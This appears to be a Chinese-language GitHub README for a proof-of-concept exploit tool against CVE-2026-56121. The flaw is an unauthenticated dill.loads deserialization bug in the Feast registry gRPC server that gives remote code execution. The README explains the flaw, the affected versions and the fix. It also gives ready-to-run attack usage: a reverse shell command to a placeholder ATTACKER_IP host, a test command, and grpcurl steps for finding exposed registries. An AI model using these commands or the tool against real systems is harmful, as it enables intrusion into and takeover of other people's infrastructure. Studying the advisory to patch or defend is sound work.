0xdak/CVE-2026-56121_exploit

GitHub: 0xdak/CVE-2026-56121_exploit

针对 Feast 特征存储 registry gRPC 服务器未授权反序列化 RCE 漏洞(CVE-2026-56121)的 PoC 利用工具。

Stars: 0 | Forks: 0

# CVE-2026-56121 — Feast Registry 未授权 RCE (dill.loads) [Feast](https://github.com/feast-dev/feast) 特征存储的 **registry gRPC 服务器**中存在未授权的远程代码执行漏洞。 `ApplyFeatureView` RPC 会从请求 proto 中重建 `OnDemandFeatureView`。 在此过程中,它会 base64 解码 `spec.user_defined_function.body` 并将其传递给 **`dill.loads()`** —— **在执行任何授权检查之前**。`dill` 是 `pickle` 的超集,因此当 `__reduce__` 返回 `(os.system, (cmd,))` 的对象时,在服务器反序列化它的瞬间,就会执行任意的 命令。默认部署自带 `auth: no_auth`,因此只需向 registry 端口发送单个未授权的 gRPC 请求即可。 - **受影响版本:** Feast `< 0.63.0` - **修复版本:** Feast `0.63.0` - **默认端口:** `6570` (registry gRPC) - **CWE:** 502 (不可信数据反序列化) - **影响:** 以 registry 服务用户身份进行 RCE(通常是整个特征存储控制平面) ## 环境要求 该漏洞利用复用了 Feast 自身生成的 gRPC protos,因此需要在 攻击端安装存在漏洞的 Feast: ``` python3 -m venv venv && . venv/bin/activate pip install "feast==0.62.0" grpcio ``` ## 用法 ``` # 快速检查(输出出现在 SERVER 上,而不是本地) python3 exploit.py 10.10.10.10:6570 -c "id" # reverse shell(bash -c wrapper:os.system 使用 /bin/sh,它缺少 /dev/tcp) python3 exploit.py 10.10.10.10:6570 -c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' ``` `-p/--project` 用于设置项目名称(默认为 `feature_repo`)。命令的输出会打印在 registry 主机的 stdout/journal 上,因此请使用反弹 shell 或将其写入可读路径来 查看结果。 ## 识别目标 该 registry 启用了 gRPC reflection: ``` grpcurl -plaintext 10.10.10.10:6570 list # feast.registry.RegistryServer # grpc.health.v1.Health # grpc.reflection.v1alpha.ServerReflection ``` ## 修复方案 升级到 Feast **0.63.0+** 版本,启用 auth backend,并且切勿将 registry gRPC 端口暴露给不受信任的网络。 ## 免责声明 仅供授权的安全测试和教育使用。仅可针对您拥有或已获得明确测试许可的系统使用。
标签:gRPC, PoC, Python工具, XXE攻击, 反序列化漏洞, 威胁模拟, 暴力破解, 编程工具, 远程代码执行, 逆向工具